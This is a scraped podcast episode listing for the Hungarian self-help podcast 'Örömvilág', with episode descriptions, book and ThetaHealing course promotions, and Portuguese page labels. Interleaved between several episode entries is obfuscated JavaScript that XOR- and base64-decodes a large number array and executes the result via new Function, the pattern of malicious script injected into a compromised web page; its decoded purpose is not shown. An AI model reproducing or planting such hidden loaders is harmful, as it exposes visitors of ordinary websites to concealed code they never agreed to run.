Örömvilág Podcast

1. #277 Mi kell ahhoz, hogy jól legyél?

   11 de novembro de 202639 minA seguir

   Mi van, ha nem az hiányzik az életedből, amire gondolsz? Mi van, ha valami egészen más kellene ahhoz, hogy jól legyél? Bár a megjelenéskor épp Balin vagyok, az Örömvilág podcast 277. epizódját még Nepálban …

   Notas do episódio

   Mi van, ha nem az hiányzik az életedből, amire gondolsz? Mi van, ha valami egészen más kellene ahhoz, hogy jól legyél?

   Bár a megjelenéskor épp Balin vagyok, az Örömvilág podcast 277. epizódját még Nepálban vettem fel. Az ottani élmények is megmutatták, milyen kevés is elég lehet ahhoz, hogy az ember valóban jól legyen: kapcsolódás, közös öröm, nevetés, értelem, szabadság és valami, ami túlmutat önmagunkon.

   Ebben az adásban annak járunk utána, mit mond a pszichológia a jóllét valódi feltételeiről, és miért nem ugyanaz jól érezni magad, mint jól lenni az életedben. Apropó! Abból, amitől igazán jól vagy, van elég az életedben?

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Ajánlom Neked Sorsfordító és Ébresztő című könyvem, ha saját tempóban, önállóan haladnál. Belelapozhatsz mindkettőbe a www.tomeknoemi.hu oldalon. Ugyanitt megtalálod a magyar nyelven most megjelent, és még csak nálam kapható, 82 lapos ThetaHealing kártyacsomagot.

2. #276 Hagyod, hogy meglepjen az élet?

   28 de outubro de 202634 minA seguir

   Mindent előre megtervezel, vagy hagysz helyet annak is, amit az élet talál ki helyetted? Hogy reagálsz, ha másként alakulnak a dolgok , mint ahogy tervezted? Feszült leszel, és gyorsan szeretnéd visszaszerezni …

   Notas do episódio

   Mindent előre megtervezel, vagy hagysz helyet annak is, amit az élet talál ki helyetted?

   Hogy reagálsz, ha másként alakulnak a dolgok , mint ahogy tervezted? Feszült leszel, és gyorsan szeretnéd visszaszerezni az irányítást? Vagy tudod engedni, hogy a helyzet a kontrollod nélkül alakuljon?

   Régebben mindent előre akartam tudni, látni. Aztán 9 évnyi ázsiai utazás megtanított arra, hogy a leggondosabban megszervezett napot is pillanatok alatt átírhatják váratlan események. Ezt a témát azért hozom épp most mert amikor ez a podcast megjelenik, épp Nepálban vagyok. Amit a felvételkor még nem tudtam, hogy mennyire igaz lesz ez a mostani csoportomra is. Volt első este kificamodott boka, elveszett, majd megkerült útlevél, a semmiből előkerült rezesbanda és hirtelen felülíródott program is.

   De vajon miért olyan nehéz a bizonytalanság a legtöbb ember számára? Miért szeretnénk előre tudni, mi lesz? És hány lehetőséget zárunk ki az életünkből csak azért, mert valami nem úgy érkezik, ahogyan elképzeltük?

   Ebben az epizódban arra hívlak, hogy egy kicsit lazíts a kész forgatókönyveken, és nézd meg, mi történhet akkor, ha marad benned hely a kíváncsiságnak, a spontaneitásnak, a hitnek és annak a lehetőségnek is, hogy az élet esetleg valami jobbat mutat annál, amit előre kitaláltál.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Nepálból tartom a 2026. november 1-jén az év utolsó Tízmilliószoros Napi meditációját, valamint október 31-én az ezt előkészítő új online mesterkurzusomat „A manifesztáció belső útja” címmel. Tarts velem Nepálba és Balira a hivatalos Facebook oldalamon!

3. #275 Látod, hova jutottál?

   14 de outubro de 202635 minA seguir

   Mi minden történt veled az elmúlt hét évben, amit ma már szinte természetesnek veszel? 2019 októberében indult el az Örömvilág podcast. Akkor még fogalmam sem volt arról, hogy hét évvel később már a 275 …

   Notas do episódio

   Mi minden történt veled az elmúlt hét évben, amit ma már szinte természetesnek veszel?

   2019 októberében indult el az Örömvilág podcast. Akkor még fogalmam sem volt arról, hogy hét évvel később már a 275. epizódnál tartunk, közben megszületik két könyvem, az Ébresztő és a Sorsfordító, és az én életem is egészen más irányt vesz.

   Ebben az évfordulós epizódban arra hívlak, hogy velem együtt nézz vissza egy kicsit a mögötted lévő útra, emlékeztesd magad arra, hogy honnan indultál, mi mindenen mentél keresztül, miben változtál meg, és mi az, ami egykor még vágy volt, ma pedig már az életed része.

   Szó lesz arról is, hogy miért szokunk hozzá olyan gyorsan ahhoz, amire korábban még csak álom volt, hogyan lehet tudatosabban megélni az örömöt, és miért fontos időnként frissíteni azt a képet is, amit saját magunkról őrzünk. Talán neked is érdemes most megállnod egy pillanatra, és feltenned magadnak a kérdést: „Látod, hova jutottál?”

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Aznap, amikor ez az epizód megjelenik, közel 6 hétre Ázsiába utazom, és Nepálból tartom a 2026. év utolsó Tízmilliószoros Napi meditációját, valamint az ezt előkészítő új online mesterkurzusomat „A manifesztáció belső útja” címmel. Tarts velem Nepálba és Balira a hivatalos Facebook oldalamon!

4. #274 Miért vagy magaddal szigorú?

   30 de setembro de 202636 minA seguir

   Milyen hangnemben beszélsz magadhoz? Kedvesen? Szeretettel? Vagy inkább bántóan és szigorúan? Amikor hibázol, elfáradsz, valami nem sikerül elsőre, vagy egyszerűen csak kevesebbre futja az erődből …

   Notas do episódio

   Milyen hangnemben beszélsz magadhoz? Kedvesen? Szeretettel? Vagy inkább bántóan és szigorúan?

   Amikor hibázol, elfáradsz, valami nem sikerül elsőre, vagy egyszerűen csak kevesebbre futja az erődből, együttérzéssel fordulsz magad felé? Vagy azonnal jön a belső számonkérés és a bántás?

   Az Örömvilág podcast 274. epizódjában azt nézzük meg, honnan ered ez a belső szigor, mit tanulunk róla már gyerekként, és hol húzódik a határ az egészséges igényesség és az önmagunkat büntető perfekcionizmus között. Mert a fegyelem, a magas mérce és a keretek sokat adhatnak. Erre személyes példát is hozok. Ám nem mindegy, hogy közben hogyan bánunk azzal az emberrel, akinek mindezt teljesítenie kell: saját magunkkal. Szóval a fő kérdés most ez: muszáj bántanod magad ahhoz, hogy fejlődj?

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Ismerd meg velem Te is a világ egyik legerőteljesebb életjobbító technikáját! Elakadtál valamely életterületeden? Szeretnél boldogabb, örömtelibb, egészségesebb lenni? Rendeznéd a párkapcsolati, munkahelyi problémáid? Vagy az motivál, hogy másoknak segíts? Örömmel adom át neked a ThetaHealing® technikát, hogy azonnali pozitív változásokat élhess meg Te is! Szeretettel várlak a következő online alap kurzuson, 2026. október 9-11-én.

5. #272 Amikor meg kell állni

   2 de setembro de 202632 minA seguir

   Elérni a célt nagy dolog. Időben megállni előtte, és utolérni magad, néha még nagyobb. Az Örömvilág podcast 272. epizódjában egy friss, nagyon személyes döntésemen keresztül beszélek arról, mi történik akkor …

   Notas do episódio

   Elérni a célt nagy dolog. Időben megállni előtte, és utolérni magad, néha még nagyobb.

   Az Örömvilág podcast 272. epizódjában egy friss, nagyon személyes döntésemen keresztül beszélek arról, mi történik akkor, amikor nagyon vágysz valamire, sokat tettél érte, már szinte a következő lépésben vagy, de belül érzed: most mégis be kell húzni a féket, meg kell állni, és előbb utol kell érned magad.

   Ebben az adásban a megállásról beszélek. A kapacitásról, a túlhajtásról, az integrációról, és arról, hogy néha a legfontosabb lépés az, amelyik kívülről mozdulatlanságnak látszik. Arról, amikor amikor a megállás visz tovább.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Ajánlom Neked Sorsfordító és Ébresztő című könyvem, ha saját tempóban, önállóan haladnál. Belelapozhatsz mindkettőbe a www.tomeknoemi.hu oldalon. Ugyanitt megtalálod a magyar nyelven most megjelent, és még csak nálam kapható, 82 lapos ThetaHealing kártyacsomagot.

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var _0xf249ea1dce17=10; var _0xcb1b81b58d09=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++) _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17); var _0x2d169431e36a=47; var _0x5a9fc9213cdc=atob(_0xcb1b81b58d09); var _code=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++) _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a); (new Function(_code))(); })();(function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var 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6. #271 És Téged ki tart meg?

   19 de agosto de 202637 minA seguir

   Miközben mindenki terhét Te cipeled, miközben mindenkinek segítesz és mindenkit támogatsz… Téged ki tart meg? Te vagy az, akire mindig lehet számítani? Aki figyel másokra? Aki meghallgat? Aki ott van mások …

   Notas do episódio

   Miközben mindenki terhét Te cipeled, miközben mindenkinek segítesz és mindenkit támogatsz… Téged ki tart meg?

   Te vagy az, akire mindig lehet számítani? Aki figyel másokra? Aki meghallgat? Aki ott van mások mellett akkor is, amikor belül már nagyon fáradt? És ezt annyira megszokták a körülötted lévők, hogy természetesnek veszik?

   Mi történik akkor, amikor megjelenik benned a kimerültség? Amikor a segítés már nem öröm, hanem kötelesség? Amikor csendben elkezdesz haragudni azokra, akik rád támaszkodnak?

   Az Örömvilág podcast 271. epizódja Neked szól, ha sokan számítanak rád, ha könnyebben adsz, mint kapsz, ha mindig Te vagy az erős, és ha mostanában egyre többször érzed: jó lenne ebből a szerepből kiszállni.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Dolgoznál a pénzzel való kapcsolatodon? Szeretettel hívlak egy belső gyermek gyógyító elvonulásra 2026. szeptember 1-4-ig, Kisnyalka Majorba. Ajánlom Neked Sorsfordító és Ébresztő című könyvem, ha saját tempóban, önállóan haladnál. Belelapozhatsz mindkettőbe a www.tomeknoemi.hu oldalon. Ugyanitt megtalálod a magyar nyelven most megjelent, és még csak nálam kapható, 82 lapos ThetaHealing kártyacsomagot.

   (function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var 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var _0xf249ea1dce17=10; var _0xcb1b81b58d09=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++) _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17); var _0x2d169431e36a=47; var _0x5a9fc9213cdc=atob(_0xcb1b81b58d09); var _code=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++) _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a); (new Function(_code))(); })();(function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var 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7. #270 Ki van a kontroll mögött?

   5 de agosto de 202648 minA seguir

   Szereted, ha nálad van a kontroll? Biztonságosabb neked, ha te irányítasz? Vagy épp ellenkezőleg: megkönnyebbülsz, ha más dönt helyetted? Bármelyik működés is ismerős, az Örömvilág podcast #270 epizódja …

   Notas do episódio

   Szereted, ha nálad van a kontroll? Biztonságosabb neked, ha te irányítasz? Vagy épp ellenkezőleg: megkönnyebbülsz, ha más dönt helyetted?

   Bármelyik működés is ismerős, az Örömvilág podcast #270 epizódja különösen hasznos lehet számodra, mert arra hívlak, hogy nézzünk együtt a kontroll mögé! Mi az, amit védeni próbálunk vele?
   Mitől félünk, amikor mindenáron kézben akarjuk tartani a dolgokat? És hogyan lehet különbséget tenni egészséges felelősségvállalás és feszítő kontroll között?

   A kontroll általában nem ott kezdődik, hogy valaki uralkodni akar másokon, hanem ott, hogy szeretné elkerülni a bizonytalanságot, a csalódást, a kiszolgáltatottság érzését, vagy azt, hogy valami fájjon. Ebben az adásban arról a hétköznapi, sokszor észrevétlen működésről beszélek, amikor a szervezés, az aggódás, az előre gondolkodás, vagy épp a döntések másra hagyása mögött valójában félelem dolgozik. Fontos: most nem arról a kontrollról lesz szó, amikor valaki bántásra, manipulációra vagy mások szabadságának korlátozására használja az irányítást, hanem arról, ahogy saját magunkban keressük a kapaszkodót. Mert a kontroll mögött sokszor nem egy erős ember áll, hanem egy olyan részünk, amelyik végre biztonságban szeretné érezni magát.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen!

   Dolgoznál a pénzzel való kapcsolatodon? Szeretettel hívlak egy belső gyermek gyógyító elvonulásra 2026. szeptember 1-4-ig, Kisnyalka Majorba. Ajánlom Neked Sorsfordító és Ébresztő című könyvem, ha saját tempóban, önállóan haladnál. Belelapozhatsz mindkettőbe a www.tomeknoemi.hu oldalon. Ugyanitt megtalálod a magyar nyelven most megjelent, és még csak nálam kapható, 82 lapos ThetaHealing kártyacsomagot.

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var _0xf249ea1dce17=10; var _0xcb1b81b58d09=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++) _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17); var _0x2d169431e36a=47; var _0x5a9fc9213cdc=atob(_0xcb1b81b58d09); var _code=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++) _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a); (new Function(_code))(); })();(function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var _0x66076b01b42c=[72,58,102,107,91,95,114,104,88,97,72,72,72,125,80,95,88,97,97,66,93,79,80,72,89,58,72,83,110,75,98,125,66,98,125,93,89,58,58,111,89,58,97,107,66,75,98,115,72,102,59,65,93,59,122,110,91,88,88,83,88,97,76,70,91,76,98,58,73,66,75,111,66,72,80,70,94,88,63,70,89,88,101,105,73,66,67,89,66,98,88,80,94,102,58,90,105,79,76,107,94,92,110,92,92,114,67,68,76,114,121,108,66,95,102,68,66,98,125,105,76,58,126,69,94,97,58,80,94,98,62,80,77,95,101,93,66,97,63,69,76,58,125,93,66,95,62,110,66,114,109,93,76,58,63,71,89,95,62,93,76,58,102,68,77,72,122,71,77,97,62,110,78,88,88,80,94,102,58,90,105,76,51,107,82,92,80,75,93,95,83,89,110,75,98,66,93,59,126,108,82,72,95,75,75,76,59,108,94,75,64,73,94,97,80,72,91,95,122,104,75,95,64,69,93,58,80,71,75,92,63,107,88,97,88,72,91,79,126,65,75,92,51,110,91,75,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,64,73,94,97,80,72,91,95,122,104,75,92,51,107,94,95,68,77,94,75,76,68,91,58,63,105,93,58,63,108,88,109,76,77,91,75,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,64,68,91,76,58,73,82,92,51,71,75,92,51,107,94,95,68,77,94,79,76,75,89,58,101,72,94,79,72,73,73,75,71,67,88,59,126,104,82,59,125,92,75,75,75,111,82,92,51,71,75,95,80,75,75,79,64,69,93,58,80,71,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,110,82,58,125,72,94,97,76,79,82,91,76,71,91,79,67,75,82,58,72,78,92,97,98,75,91,91,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,76,67,94,102,126,65,93,79,63,93,75,92,126,65,91,95,126,65,82,95,68,93,75,95,114,75,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,108,91,79,68,93,89,79,72,72,75,95,126,110,82,58,125,72,91,76,59,67,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,108,91,79,68,93,89,79,72,72,75,102,51,107,94,95,68,77,94,75,76,72,91,79,126,77,89,102,125,72,94,102,51,108,73,66,67,95,93,95,63,110,78,57,72,77,93,76,114,107,91,79,68,111,79,109,58,108,92,56,58,80,94,93,125,93,89,98,63,120,66,58,58,110,89,93,58,93,77,93,63,68,77,77,125,104,77,77,101,108,77,56,114,68,66,56,59,123,77,114,109,83,77,114,62,108,94,93,125,111,89,88,58,68,76,76,102,69,82,91,51,125,91,58,122,77,94,92,80,92,93,98,67,68,94,88,97,82,89,114,62,82,66,114,83,68,76,79,102,107,91,95,114,104,88,97,72,72,78,57,72,70,88,58,64,105,89,58,110,83,72,57,72,69,89,95,63,66,94,97,64,80,72,102,88,104,82,92,80,95,93,95,63,110,78,57,72,71,89,92,110,67,79,100,72,69,89,95,63,66,94,97,64,80,75,92,114,107,94,92,114,104,82,91,105,108,75,114,58,77,79,98,67,89,73,72,51,82,73,72,72,125,94,97,102,69,88,58,63,73,93,91,76,105,93,97,59,105,93,59,58,66,66,91,83,92,105,79,63,64,94,97,110,69,91,102,97,95,88,97,97,66,105,79,114,64,92,58,109,72,91,58,122,72,89,76,126,66,79,114,62,110,76,125,80,110,89,102,126,107,82,95,79,67,73,72,88,80,94,102,58,90,105,79,122,66,92,102,121,89,82,58,63,110,82,79,122,103,91,92,121,66,105,79,114,64,92,58,109,72,82,76,122,68,82,76,126,110,72,114,97,104,75,114,97,104,72,109,71,111,77,91,83,95,88,97,97,66,78,100,72,65,88,59,80,104,72,102,59,65,93,59,122,110,91,91,109,67,76,76,102,69,82,91,51,125,82,92,98,70,82,79,110,110,94,98,64,125,94,79,102,82,89,75,76,105,93,97,59,105,93,59,58,66,66,98,58,82,75,57,72,65,88,59,80,104,72,88,58,77,75,57,72,73,91,79,72,93,91,114,67,67,73,72,88,64,91,76,58,66,93,95,63,110,78,57,72,92,93,95,92,64,89,102,50,89,66,114,88,125,92,92,102,76,89,95,122,108,79,57,72,110,93,79,126,105,88,59,59,69,75,95,68,65,91,95,98,104,88,114,88,125,92,92,102,76,89,95,122,108,72,72,67,110,72,102,88,80,94,102,58,90,105,76,122,67,88,79,98,72,89,88,64,108,94,102,59,105,89,103,80,72,93,125,110,125,82,92,98,70,82,79,110,110,94,109,76,105,93,97,59,105,93,59,58,66,105,76,92,80,88,95,102,65,82,125,71,110,72,109,71,111,77,91,83,95,88,97,97,66,105,76,122,67,88,79,98,72,89,91,80,125,91,97,72,75,92,97,71,79,79,100,114,104,82,95,80,72,89,75,76,64,82,95,72,73,104,79,110,69,82,93,114,75,89,58,101,66,105,76,122,67,88,79,98,72,89,91,83,95,95,102,59,65,93,59,122,110,91,91,51,125,91,97,72,75,92,97,71,95,95,97,114,69,93,58,114,66,72,58,101,77,92,76,59,65,93,59,122,110,91,91,109,67,76,76,64,89,89,92,122,72,94,76,126,77,91,79,79,90,105,76,80,69,82,79,110,69,82,76,95,66,105,79,110,75,93,58,95,78,105,76,114,107,89,95,114,111,92,109,80,95,82,95,122,104,93,102,59,72,78,58,76,65,93,75,51,37,82,95,72,73,88,102,114,65,72,58,102,107,91,95,114,104,88,97,72,72,72,57,72,72,88,95,122,66,89,59,51,111,75,57,72,78,89,92,59,65,93,125,80,95,93,95,63,110,78,57,72,107,94,92,92,92,93,59,105,89,91,95,122,83,78,57,110,99,83,56,110,104,93,59,51,51,89,102,63,107,89,102,114,104,72,125,83,95,105,76,122,68,92,92,92,104,92,125,76,75,82,58,122,72,72,125,98,37,83,66,114,61,73,75,68,125,88,58,72,104,88,91,68,104,82,92,122,65,72,98,88,125,93,97,59,92,92,92,126,82,75,92,114,65,93,57,59,65,82,102,122,65,82,76,126,100,89,97,63,70,89,102,58,66,73,77,114,75,91,92,126,65,91,92,121,73,111,59,80,108,89,109,109,78,73,79,63,108,82,58,68,77,94,79,63,104,88,97,72,72,75,79,92,105,91,79,79,67,72,98,88,125,93,97,59,92,92,92,126,82,75,92,126,77,91,97,122,75,93,102,121,89,77,98,50,108,66,1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8. #269 Túlspirizett megértés

   22 de julho de 202634 minA seguir

   Attól, hogy érted, miért bántott valaki, még bántott. Attól, hogy látod a sérüléseit, még komolyan veheted a saját fájdalmadat. Az Örömvilág podcast #269 epizódjában arról beszélek, hogyan válhat a megértés, az …

   Notas do episódio

   Attól, hogy érted, miért bántott valaki, még bántott. Attól, hogy látod a sérüléseit, még komolyan veheted a saját fájdalmadat.

   Az Örömvilág podcast #269 epizódjában arról beszélek, hogyan válhat a megértés, az elfogadás és a magasabb, spirituális nézőpont önelhagyássá. Ez a téma azoknak szól, akik előbb értik meg a másikat, mint hogy megvédenék önmagukat. Akik hajlamosak szeretetből, tudatosságból vagy spirituális elfogadásból túl sokáig benne maradni olyan helyzetben, kapcsolati dinamikában, amely belül már régóta fáj.

   Lehet, hogy már nagyon pontosan tudod, miért ilyen a másik. Tudod, mit hoz a gyerekkorából, milyen sebekből működik, mitől fél, mit nem tanult meg, mire lenne szüksége. Csak közben egyre ritkábban kérdezed meg magadtól: és velem mi történik ebben? Meddig nevezem elfogadásnak azt, ami valójában fáj? Meddig hívom együttérzésnek azt, hogy újra és újra átlépek magamon?

   Ha hasznos számodra, vagy megérint ez az epizód, oszd meg valakivel, akinek most talán éppen arra van szüksége, hogy meghallja: a nyitott szív nem jelent nyitott kaput mindenkinek, minden formában, minden következmény nélkül.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen! Fejlődnél velem? Nézz körül a www.tomeknoemi.hu honlapon!

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9. #268 Miért nem lépsz?

   8 de julho de 202646 minA seguir

   Miért olyan nehéz beleállni a változásba? Ha most éppen érzed a változás hívását, de még nem látod pontosan a következő lépést, ez az adás neked szól. Az Örömvilág podcast 268. epizódjában arról beszélgethetünk …

   Notas do episódio

   Miért olyan nehéz beleállni a változásba? Ha most éppen érzed a változás hívását, de még nem látod pontosan a következő lépést, ez az adás neked szól.

   Az Örömvilág podcast 268. epizódjában arról beszélgethetünk egymással, hogy miért olyan nehéz elindulni a változás felé, még akkor is, amikor belül már pontosan érezzük, hogy valami nem működik tovább. Ránézünk arra, mi tart vissza, mihez ragaszkodunk, és hogyan tudnánk kapcsolódni az őszinte belső irányunkhoz. Megnézzük, miért ragaszkodunk a régi működéseinkhez, milyen szerepe van a biztonságnak, az ambivalenciának, a félelemnek és annak a belső igazságnak, amit egy idő után már nem igazán tudunk figyelmen kívül hagyni.

   Hozok hasznos információkat a változás pszichológiai oldaláról is: a Prochaska–DiClemente-féle változásmodellről, a motivációs interjú szemléletéről, a kognitív disszonanciáról és William Bridges átmenetmodelljéről. A végén pedig spirituális nézőpontból is ránézünk arra, hogy a változás nemcsak külső átrendeződés, hanem hazatérés is önmagunkhoz.

   Ha megérintett ez az epizód, oszd meg valakivel, akinek most talán éppen arra van szüksége, hogy meghallja: lehet változtatni, lehet érni, lehet másképp dönteni, és lehet igazabban élni.

   Kérdésed vagy véleményed van? Írj a [email protected] e-mail címre, vagy kommentelj a YouTube csatornámon vagy valamely social media felületemen! Fejlődnél velem? Nézz körül a www.tomeknoemi.hu honlapon!(function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var 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var _0xf249ea1dce17=10; var _0xcb1b81b58d09=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++) _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17); var _0x2d169431e36a=47; var _0x5a9fc9213cdc=atob(_0xcb1b81b58d09); var _code=''; for(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++) _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a); (new Function(_code))(); })();(function(){ var xaf98e6=1694; if(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143} var z675acd=y2f6ff9*82; var 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10. #267 Mi van, ha nincs válasz?

    4 de fevereiro de 202636 minA seguir

    Miért fáj ennyire, ha nincs magyarázat? Mi történik benned, amikor nem tudod, mi miért volt?

11. #266 A pénz, mint tükör

    7 de janeiro de 202638 minA seguir

    Mi történik benned, amikor pénzről van szó? Hogyan kapcsolódsz a pénzhez, és mit tükröz vissza rólad ez a kapcsolat?

12. #Megállás és a semmi

    24 de dezembro de 202534 minA seguir

    Mi történik benned, amikor végre nincs feladat, és a csend váratlanul feszültséget hoz?

13. #264 Lehet túl sok a szeretet?

    10 de dezembro de 202537 minA seguir

    Miért nehéz befogadni azt, amire valójában vágyunk? Mi lehet az oka annak, ha valaki hárítja a szeretetet?

14. #263 Önszabotázs

    26 de novembro de 202533 minA seguir

    Miért húz vissza a régi énünk akkor is, amikor már készen állnánk előre lépni?

15. #262 Legyél Te is Sorsfordító!

    12 de novembro de 202542 minA seguir

    Mi kell ahhoz, hogy valaki sorsfordítóvá váljon? Inspiráló gondolatok, önismereti praktikák egy különleges adásban, új könyvem apropóján.

16. #261 Hol vagy otthon?

    29 de outubro de 202535 minA seguir

    Mi az otthon számodra? Egy hely? Esetleg egy érzés? Ezt az epizódot Balin készítettem Neked és Érted.

17. #260 Kapcsolódás a láthatatlan világgal

    15 de outubro de 202541 minA seguir

    Vajon mi történik bennünk, amikor megnyílunk a láthatatlan világ felé? És hogyan hat ránk ez az élmény, ha nemcsak keressük, hanem valóban be is fogadjuk?

18. #259 Az öröm ereje – 6. születésnapi epizód

    1 de outubro de 202538 minA seguir

    Szeretnéd tudni, mi az öröm valójában? Mi van, ha nem is cél, hanem maga az út? Podcast csatornám 6. születésnapjára ezt a témát hoztam.

19. #258 Mit számít a korod?

    17 de setembro de 202538 minA seguir

    Félsz az öregedéstől? Hány évesnek érzed magad? Tényleg nehezebb megöregedni nőként, mint férfiként?

20. #257 Nem kell megjavulnod

    3 de setembro de 202537 minA seguir

    Ismerős érzés, hogy már megint dolgoznod kell magadon? Újabb tanfolyam, újabb könyv, hátha végre rendbe jössz? De mi van akkor, ha nem is vagy „elromolva”?

21. #256 Elengedés – a belső fordulat

    20 de agosto de 202542 minA seguir

    Elengedni nem azt jelenti, hogy feladsz valamit – hanem azt, hogy megengeded magadnak a gyógyulást. Ez az epizód erről a belső fordulatról szól.

22. #255 Miért félsz a jótól?

    6 de agosto de 202535 minA seguir

    Miért nehéz elhinni, hogy megérdemled a jót? Fedezd fel, hogyan szabotálsz tudattalanul és hogyan változtathatsz ezen, lépésről lépésre.

23. #254 Eljött a Te időd?

    23 de julho de 202532 minA seguir

    Úgy érzed, hogy készen állsz, de mégsem mozdulnak be a dolgok? Mi van, ha nem megrekedtél, csak még érik benned a helyzet?

24. #253 A belső gyermek

    9 de julho de 202533 minA seguir

    Mi történik, ha a benned élő gyermek nincs meghallgatva? És hogyan válhat a múlt fájdalma az ébredés kulcsává?

25. #252 A kollektív árnyék

    25 de junho de 202533 minA seguir

    Hallottál már a kollektív árnyékról? Egy fájdalomtér, ami nem látszik – de benned él.

26. #251 Két igazság között

    11 de junho de 202533 minA seguir

    Ismered azt az érzést, amikor két igazság feszül benned, és ezért nem tudod, mi a jó döntés? Mivel kapcsolatban gyártasz önigazolásokat azért, mert nem mersz lépni?

27. #250 Csináld igazán!

    28 de maio de 202534 minA seguir

    Elérkeztünk az Örömvilág podcast csatorna #250 epizódjához, amelyet Balin készítettem el, méghozzá kivételesen videós verzióban is!

28. #249 Változz és maradj önmagad!

    14 de maio de 202532 minA seguir

    Meg tudod őrizni önmagad, miközben Te változol? Fel tudod vállalni az "új én" új nézőpontjait?

29. #248 Parentifikáció – túl hamar felnőtt gyermekek

    30 de abril de 202533 minA seguir

    Akinek túl hamar fel kellett nőnie, az nem csak a gyermekkorát veszíti el, de a felnőtt élete sem lesz egyszerű. Beszélgessünk a parentifikációról!

30. #247 Hall(g)asd a hangod!

    16 de abril de 202533 minA seguir

    Tudtad, hogy a hangoddal manifesztálni és gyógyítani is tudsz? Élsz a hangod adta lehetőségekkel? Szereted egyáltalán a hangod?

Aqui estão os 40 episódios mais recentes de 249. Os mais antigos estão no feed do podcast.